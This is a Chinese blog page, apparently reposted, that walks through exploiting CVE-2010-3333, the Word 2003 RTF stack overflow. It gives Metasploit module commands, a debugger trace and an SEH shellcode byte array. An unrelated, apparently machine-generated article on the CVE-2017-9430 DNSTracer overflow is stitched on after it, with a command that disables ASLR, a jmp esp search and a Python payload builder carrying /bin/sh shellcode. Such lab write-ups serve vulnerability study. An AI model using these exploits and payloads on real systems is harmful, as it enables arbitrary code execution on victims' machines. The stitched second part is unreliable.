CVE-2010-3333 Word RTF 栈溢出漏洞

本文分析了MS10-087 RTF格式文件中的栈溢出漏洞,详细解释了如何利用该漏洞并构造POC。通过对Word2003的测试,展示了如何触发异常并利用SEH进行攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  1. 实验环境        
    • OS:Windows XP sp3
    • 漏洞软件:Word 2003
    • 工具:x32dbg+IDA 6.8+01Editor+C32ASM
  2. 样本生成
    • msfconsole
    • search cve-2010-3333
    • use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
    • set target 6
    • exploit
  3. 分析过程 

        打开Word 2003并且附加到x32dbg中,并用Word 03打开目标文件(此处是Crack.rtf),发现日志中有异常记录,异常点位于30E9KB88处(位于MSO.dll中)

此处从0x11040004处复制到0x00123DC0处,次数为0x322B次(0xACC8/4),具体情况我们回溯到0x30F4CC96处上面查看到Crack处的函数调用了来自0x30F4CC93处的Call dword ptr [eax+1C] //call sub_30E9EB62()。在IDA Pro中查看30E9EB62(),发现就是简单的调用qmemcpy(dst,src,count)

再次断点到0x30F4CC93处来查看,发现dst是0x00123DC0,src是0x1104000C([0x014D10F0+0x10]),count是0xACC8([0x014D10F0+0x8]),而sub_30F4CC5D()中只有0x14字节的空间(sub_30E9EB62()不开辟新的栈空间),0xACC8早就溢出当前函数的栈空间了,所以此处未对qmemcpy()中的count进行检查而导致栈溢出。

跟踪内存发现,我们复制的内容是Crack.rtf中acc8后的文本(此处文本转成了十六进制,即“41”=》0x41),而前面的“acc8”也刚好对应之前的qmemcpy()的count。

    最后,构造POC,第一时间我想到SEH exploit,恰好通过Mona检测到MSO.dll的SafeSEH是关闭的并且找到0x30CA50A9处作为ROP链首,溢出的SEH处的内容在Crack.rtf中的0x176C0偏移处。

最终得出shellcode。

shellcode={
  \xeb,\x0a,\x90,\x90,\xa9,\x50,\xca,\x30,\x90,\x90,\x90,\x90,
  \x6A,\x00,\x68,\x46,\x75,\x63,\x6B,\x89,\xE0,\x6A,\x00,\x68,\x43,\x61,\x70,\x00,
  \x89,\xE3,\x6A,\x00,\x53,\x50,\x6A,\x00,\xBA,\x30,\x1C,\xC9,\x30,\x8B,\x12,\xFF,\xD2,\xC3,
}
//shellcode=jmp 0A+\x90*2+ROP address+\x90*4+payload

效果如图所示:

PS:RTF文件格式说明

 

 

 

 

 

 

转载于:https://my.oschina.net/u/3281747/blog/1805288

### CVE-2017-9430 栈溢出漏洞复现步骤 CVE-2017-9430 是 DNSTracer 1.9 中的一个栈溢出漏洞,该漏洞允许攻击者通过精心构造的输入数据覆盖返回地址并执行任意代码。以下是复现此漏洞的详细过程: #### 1. 环境搭建 为了成功复现 CVE-2017-9430 漏洞,需要准备以下环境: - 安装目标程序 DNSTracer 1.9。 - 使用支持调试和逆向工程的工具,例如 GDB 或 Radare2。 - 确保目标系统禁用了 ASLR(地址空间布局随机化)或绕过 ASLR。 在 Linux 系统中,可以通过以下命令禁用 ASLR: ```bash echo 0 > /proc/sys/kernel/randomize_va_space ``` #### 2. 分析漏洞成因 DNSTracer 1.9 在处理用户输入时未对缓冲区大小进行严格检查,导致可以利用超长字符串触发栈溢出。具体来说,`sscanf` 函数被用于解析输入数据,但没有验证输入长度,从而可能导致栈缓冲区被覆盖[^2]。 #### 3. 利用方法 一种常见的利用方法是通过覆盖返回地址为 `jmp esp` 指令的地址,从而使程序跳转到 shellcode 执行。以下是具体步骤: - **寻找 `jmp esp` 指令** 使用 `objdump` 工具查找目标程序中的 `jmp esp` 指令。例如: ```bash objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp ``` 这将输出类似以下的结果: ``` 08048e5c: ff e4 jmp esp ``` - **构造 payload** 构造 payload 的关键在于确保覆盖返回地址为 `jmp esp` 指令的地址,并在其后附加 shellcode。例如: ```python #!/usr/bin/python import struct # Shellcode (example) shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80") # Padding to reach return address padding = "A" * 260 # Address of jmp esp (little-endian format) ret_address = struct.pack("<I", 0x08048e5c) # Construct the payload payload = padding + ret_address + shellcode # Write to file for testing with open("payload.txt", "w") as f: f.write(payload) ``` #### 4. 测试与验证 将生成的 payload 输入到 DNSTracer 中进行测试。如果配置正确,程序应跳转到 shellcode 并执行相应操作。 --- ### 注意事项 - 确保实验环境隔离,避免对生产系统造成影响。 - 如果启用了 ASLR,可能需要使用信息泄露技术或其他方法定位返回地址[^2]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值